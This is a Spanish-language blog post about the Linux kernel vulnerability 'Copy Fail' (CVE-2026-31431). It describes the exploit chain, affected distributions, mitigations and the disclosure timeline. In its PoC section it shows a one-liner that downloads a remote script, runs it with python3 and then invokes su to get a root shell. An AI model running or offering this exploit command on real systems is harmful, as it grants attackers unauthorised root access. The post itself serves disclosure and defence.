← Volver a la lista

732 bytes tumban Linux: un fallo épico oculto casi 10 años

itadol5j

Vulnerabilidad Copy Fail

🚨 Vulnerabilidad épica: 732 bytes comprometen todos los Linux, casi una década oculta

Un fallo llamado "Copy Fail", vulnerabilidad del kernel de Linux (CVE-2026-31431), se ha divulgado públicamente:

  • 732 bytes en un script de Python
  • 100% fiable, sin ventanas de carrera ni offsets del kernel
  • Afecta a todas las distribuciones de Linux(de 2017 a hoy)
  • Primitiva de escape de contenedores, y ataques entre inquilinos
  • Casi una década oculta, divulgada el 29 de abril de 2026

El mismo script funciona en Ubuntu, RHEL, Amazon Linux y SUSE sin cambios.

🎯 El corazón del fallo

Un único defecto lógico

Copy Fail es un defecto lógico lineal:

  • No necesita ventana de carrera: a diferencia de la mayoría de los LPE de Linux, que requieren carreras
  • No necesita offsets del kernel: no requiere offsets específicos del kernel
  • 100% fiable: funciona siempre
  • El mismo script: funciona en todas las distribuciones

Cadena de explotación

La cadena de ataque de Copy Fail:

  • Bug lógico de authencesn: un bug lógico
  • AF_ALG: vía la crypto API del kernel
  • splice(): llamadas encadenadas
  • Escritura de 4 bytes en el page cache: la primitiva final de ataque
  • Explotable durante casi una década: desde 2017 hasta la publicación del parche

📊 Alcance del impacto

Distribuciones verificadas oficialmente

Distribución Versión del kernel Estado
Ubuntu 24.04 LTS 6.17.0-1007-aws ✅ Verificado
Amazon Linux 2023 6.18.8-9.213.amzn2023 ✅ Verificado
RHEL 10.1 6.12.0-124.45.1.el10_1 ✅ Verificado
SUSE 16 6.12.0-160000.9-default ✅ Verificado

Otras distribuciones afectadas

Las siguientes distribuciones también están afectadas:

  • Debian
  • Arch Linux
  • Fedora
  • Rocky Linux
  • AlmaLinux
  • Oracle Linux
  • Linux embebido

Conclusión: si tu kernel se compiló entre 2017 y el parche, estás afectado.

💡 Escenarios de alto riesgo

Escenario Riesgo Impacto
Host Linux multi-inquilino Alto Cualquier usuario se convierte en root
Clústeres de Kubernetes / contenedores Alto Ataques entre contenedores y entre inquilinos
Runners de CI / granjas de build Alto Un PR se convierte en root del runner
SaaS en la nube que ejecuta código de usuarios Alto El inquilino se convierte en root del host
Servidor Linux estándar Medio LPE interno, encadenable en ataques
Portátil de un solo usuario Bajo Paso de escalada en post-explotación

🔧 Mitigaciones

Opción 1: actualizar el kernel (recomendada)

Actualiza el kernel a una versión que incluya mainline commit a664bf3d603d:

  • Qué corrige: revierte la optimización in-place de algif_aead de 2017
  • Efecto: las páginas del page cache ya no aparecen en la scatterlist de destino escribible
  • Estado: la mayoría de las distribuciones principales ya han publicado parches

Opción 2: desactivar el módulo algif_aead (temporal)

# 禁用 algif_aead 模块
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead 2>/dev/null || true

Impacto de desactivar algif_aead

Componente Impacto
dm-crypt / LUKS Sin impacto
kTLS / IPsec Sin impacto
OpenSSL / SSH Sin impacto
Espacio de usuario AF_ALG Posible impacto

Conclusión: para la mayoría de los sistemas, desactivar algif_aead no tiene impacto notable.

Opción 3: bloquear AF_ALG con seccomp

Para cargas de trabajo no confiables (contenedores, sandboxes, CI), bloquea la creación de sockets AF_ALG mediante seccomp:

# 检查 AF_ALG 使用
lsof | grep AF_ALG
ss -xa

🚀 Demostración del PoC

El PoC es público para que los defensores verifiquen sus sistemas:

Ejecución rápida

$ curl https://copy.fail/exp | python3 && su
# id
uid=0(root) gid=1002(user) groups=1002(user)

Detalles del PoC

  • Tamaño del archivo: 732 bytes
  • Lenguaje: solo stdlib de Python 3.10+ (os, socket, zlib)
  • Objetivo por defecto: /usr/bin/su
  • SHA256: a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9

Advertencia: el script modifica el page cache del binario setuid; los cambios no persisten tras reiniciar, pero la shell root es real. No lo ejecutes en producción.

📅 Cronología de la divulgación

Fecha Evento
2026-03-23 Reporte al equipo de seguridad del kernel de Linux
2026-03-24 Confirmación inicial
2026-03-25 Propuesta y revisión del parche
2026-04-01 Parche enviado a mainline
2026-04-22 Asignación de CVE-2026-31431
2026-04-29 Divulgación pública

🔍 Descubridor: Xint Code

La vulnerabilidad fue descubierta por Xint Code:

  • Tiempo de escaneo: cerca de 1 hora escaneando el subsystem crypto/ de Linux
  • Método de descubrimiento: auditoría de código asistida por IA
  • Análisis completo: root cause, diagramas y prompt del operador
  • Otros hallazgos: se descubrieron a la vez otras vulnerabilidades de gravedad alta, aún en divulgación coordinada

Palmarés de Xint Code

  • 0-day RCE: ZeroDay Cloud, arrasando en la categoría de bases de datos (Redis, PostgreSQL, MariaDB)
  • Top 3 en DARPA AIxCC: finalista de la DARPA AI Cyber Challenge
  • DEF CON CTF 9×: el equipo más ganador de la historia del DEF CON CTF

📝 Resumen

Copy Fail (CVE-2026-31431) es una vulnerabilidad épica del kernel de Linux:

  • 732 bytes comprometen todos los Linux (de 2017 a hoy)
  • 100% fiable, un único defecto lógico
  • Escape de contenedores y ataques entre inquilinos
  • Casi una década oculta, hasta su divulgación el 29 de abril de 2026
  • Escenarios críticos: hosts multi-inquilino, clústeres de contenedores, runners de CI, SaaS
  • Mitigación: actualizar el kernel o desactivar algif_aead
  • Descubridor: Xint Code, auditoría de código con IA

Una vulnerabilidad épica de casi una década: un solo script compromete todos los Linux.

Web de la vulnerabilidad:https://copy.fail

PoC en GitHub:https://github.com/theori-io/copy-fail-CVE-2026-31431

Análisis técnico:https://xint.io/blog/copy-fail-linux-distributions

Parche del kernel:https://git.kernel.org/stable/c/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5